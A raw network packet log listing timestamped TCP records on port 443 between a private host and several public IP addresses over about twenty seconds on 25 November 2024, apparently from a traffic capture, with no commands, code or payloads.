Nov 25, 2024 05:58:50.818697929 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.818844080 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.818847895 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.839538097 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.839667082 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.839669943 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.849203110 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.849430084 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.849433899 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.854665995 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.854758978 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.854762077 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.899254084 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.913183928 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.917356014 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.917435884 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.917440891 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.961749077 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.961751938 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.985244036 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.985311031 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.985315084 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.987591982 CET	443	49805	35.190.80.1	192.168.2.4
Nov 25, 2024 05:58:50.987664938 CET	443	49805	35.190.80.1	192.168.2.4
Nov 25, 2024 05:58:50.987828016 CET	49805	443	192.168.2.4	35.190.80.1
Nov 25, 2024 05:58:50.987844944 CET	443	49805	35.190.80.1	192.168.2.4
Nov 25, 2024 05:58:50.987859011 CET	49805	443	192.168.2.4	35.190.80.1
Nov 25, 2024 05:58:50.987859011 CET	49805	443	192.168.2.4	35.190.80.1
Nov 25, 2024 05:58:50.987885952 CET	49805	443	192.168.2.4	35.190.80.1
Nov 25, 2024 05:58:50.989944935 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:50.989989042 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:50.989993095 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.001095057 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.001142025 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.001144886 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.014713049 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.014764071 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.014767885 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.028279066 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.028322935 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.028326988 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.042057991 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.042119980 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.042123079 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.055764914 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.055811882 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.055814981 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.069453001 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.069509029 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.069511890 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.083127022 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.083173990 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.083177090 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.095714092 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.095767975 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.095772028 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.107506037 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.107563019 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.107567072 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.119405985 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.119452000 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.119457006 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.131089926 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.131136894 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.131139994 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.143042088 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.143098116 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.143100977 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.167924881 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.168056965 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.168060064 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.172338009 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.172383070 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.172385931 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.180655003 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.180708885 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.180711985 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.188581944 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.188644886 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.188648939 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.196413040 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.196455002 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.196458101 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.215651035 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.215696096 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.215699911 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.218262911 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.218303919 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.218307972 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.223156929 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.223241091 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.223289967 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.223294020 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.223373890 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.227735996 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.234050035 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.234097004 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.234100103 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.235323906 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:58:51.235369921 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.235554934 CET	49803	443	192.168.2.4	142.250.181.65
Nov 25, 2024 05:58:51.235564947 CET	443	49803	142.250.181.65	192.168.2.4
Nov 25, 2024 05:59:06.573565006 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:06.573599100 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:06.573679924 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:06.574024916 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:06.574035883 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:07.487458944 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:07.487498045 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:07.487653017 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:07.488006115 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:07.488023043 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:08.358061075 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:08.358130932 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:08.370965958 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:08.370981932 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:08.371169090 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:08.382019997 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:08.427371979 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:08.845962048 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:08.845985889 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:08.846000910 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:08.846195936 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:08.846218109 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:08.846276045 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.038470984 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.038487911 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.038568974 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.038579941 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.038750887 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.088016033 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.088030100 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.088088036 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.088093996 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.088238001 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.218602896 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.218622923 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.218708992 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.218734980 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.218899012 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.259320974 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.259334087 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.259428024 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.259434938 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.259569883 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.280538082 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.280571938 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.280714035 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.280719995 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.280759096 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.298945904 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.298962116 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.299072981 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.299096107 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.299585104 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.323827028 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:09.323921919 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:09.325979948 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:09.325999975 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:09.326208115 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:09.337599039 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:09.383341074 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:09.415714025 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.415729046 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.415811062 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.415819883 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.415849924 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.415870905 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.431232929 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.431251049 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.431337118 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.431341887 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.431566954 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.447557926 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.447571039 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.447639942 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.447644949 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.451584101 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.459115982 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.459129095 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.459207058 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.459212065 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.459568024 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.469711065 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.469723940 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.469871044 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.469876051 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.471579075 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.481203079 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.481215954 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.481318951 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.481323957 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.483592033 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.604382038 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.604435921 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.604465961 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.604522943 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.608490944 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.608501911 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.608514071 CET	49806	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.608517885 CET	443	49806	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.772458076 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.772501945 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.772739887 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.785900116 CET	49809	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.785932064 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.786199093 CET	49809	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.787043095 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.787058115 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.787285089 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.788455963 CET	49811	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.788463116 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.788556099 CET	49811	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.788764954 CET	49811	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.788777113 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.789678097 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.789691925 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.794310093 CET	49809	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.794325113 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.799906015 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.800002098 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.800147057 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.800276041 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.800308943 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:09.800374985 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:09.800386906 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:10.042479038 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.042499065 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.042515993 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.042562008 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:10.042577982 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.042613029 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:10.042635918 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:10.083164930 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.083200932 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.083230019 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:10.083240986 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.083251953 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.083272934 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:10.083291054 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:10.083401918 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:10.083415031 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:10.083425999 CET	49807	443	192.168.2.4	4.175.87.197
Nov 25, 2024 05:59:10.083430052 CET	443	49807	4.175.87.197	192.168.2.4
Nov 25, 2024 05:59:11.505156040 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.505696058 CET	49811	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.505724907 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.506236076 CET	49811	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.506241083 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.512902975 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.513219118 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.513297081 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.513585091 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.513600111 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.513978958 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.514209986 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.514235973 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.514508009 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.514513016 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.582384109 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.582900047 CET	49809	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.582914114 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.583198071 CET	49809	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.583203077 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.633145094 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.633661032 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.633671999 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.634038925 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.634042978 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.939189911 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.939265966 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.939331055 CET	49811	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.939508915 CET	49811	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.939526081 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.939536095 CET	49811	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.939539909 CET	443	49811	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.941961050 CET	49814	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.942014933 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.942090034 CET	49814	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.942241907 CET	49814	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.942255974 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.947570086 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.947586060 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.947648048 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.947669983 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.947715044 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.947818041 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.947829008 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.947844028 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.947957039 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.947982073 CET	443	49810	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.948021889 CET	49810	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.949753046 CET	49815	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.949784040 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.949851036 CET	49815	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.949966908 CET	49815	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.949979067 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.951694965 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.951714039 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.951767921 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.951792002 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.951936960 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.951936960 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.951967955 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.952131987 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.952162981 CET	443	49812	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.952208996 CET	49812	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.953742981 CET	49816	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.953834057 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:11.953918934 CET	49816	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.954024076 CET	49816	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:11.954047918 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.025347948 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.025428057 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.025480986 CET	49809	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.025594950 CET	49809	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.025599957 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.025610924 CET	49809	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.025614977 CET	443	49809	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.027462006 CET	49817	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.027503967 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.027569056 CET	49817	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.027692080 CET	49817	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.027709961 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.090687037 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.090702057 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.090795994 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.090805054 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.090850115 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.097034931 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.097100973 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.097285032 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.144809961 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.144824028 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.144869089 CET	49808	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.144872904 CET	443	49808	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.172382116 CET	49818	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.172444105 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:12.172544003 CET	49818	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:12.179300070 CET	49818	443	192.168.2.4	13.107.246.63
